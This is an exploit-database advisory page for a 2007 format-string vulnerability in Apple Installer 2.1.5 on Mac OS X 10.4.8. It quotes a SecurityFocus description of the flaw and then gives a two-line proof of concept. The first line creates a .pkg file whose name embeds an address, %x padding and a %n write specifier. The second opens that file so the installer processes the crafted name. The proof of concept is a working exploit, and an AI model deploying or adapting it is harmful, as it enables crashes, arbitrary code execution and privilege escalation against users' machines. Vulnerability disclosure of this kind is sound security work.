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Apple Installer Package 2.1.5 - Filename Format String

🗓️ 27 Jan 2007 00:00:00Reported by LMHType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 18 Views

Apple Installer 2.1.5 Format String Vulnerability on Mac OS

Code
source: https://www.securityfocus.com/bid/22272/info

Apple Installer is prone to a format-string vulnerability because the application fails to properly sanitize user-supplied input before passing it as the format specifier to a formatted-printing function.

A successful attack may crash the application or possibly allow the attacker to execute arbitrary code. This may facilitate unauthorized access or privilege escalation in the context of the user running the application.

Apple Installer Version 2.1.5 on Mac OS X 10.4.8 is vulnerable to this issue; other versions may also be affected. 

$ touch AAAA`ruby -e 'require "cgi"; print CGI::escape("\x9c\xe7\xff\xbf") + CGI::escape("%.20d") + CGI::escape("%x" * 20)'`%n.pkg
$ open AAAA%9C%E7%FF%BF%25.20d%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%n.pkg 

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